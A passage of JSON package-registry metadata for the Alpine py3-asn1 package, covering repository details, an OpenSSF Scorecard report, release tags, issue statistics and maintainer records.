library","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_number":"0.6.1-r0","last_synced_at":"2026-08-11T12:24:13.978Z","created_at":"2024-12-07T12:19:29.948Z","updated_at":"2026-08-15T09:21:24.888Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-asn1","install_command":"apk add py3-asn1","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.888Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":492,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2024-12-13T16:54:46.512Z","updated_at":"2024-12-13T16:54:46.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25394,"maintainers_count":413,"namespaces_count":2,"keywords_count":3607,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1382},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-08-20T05:05:40.420Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":11764678,"name":"py3-asn1","ecosystem":"alpine","description":"Python3 ASN1 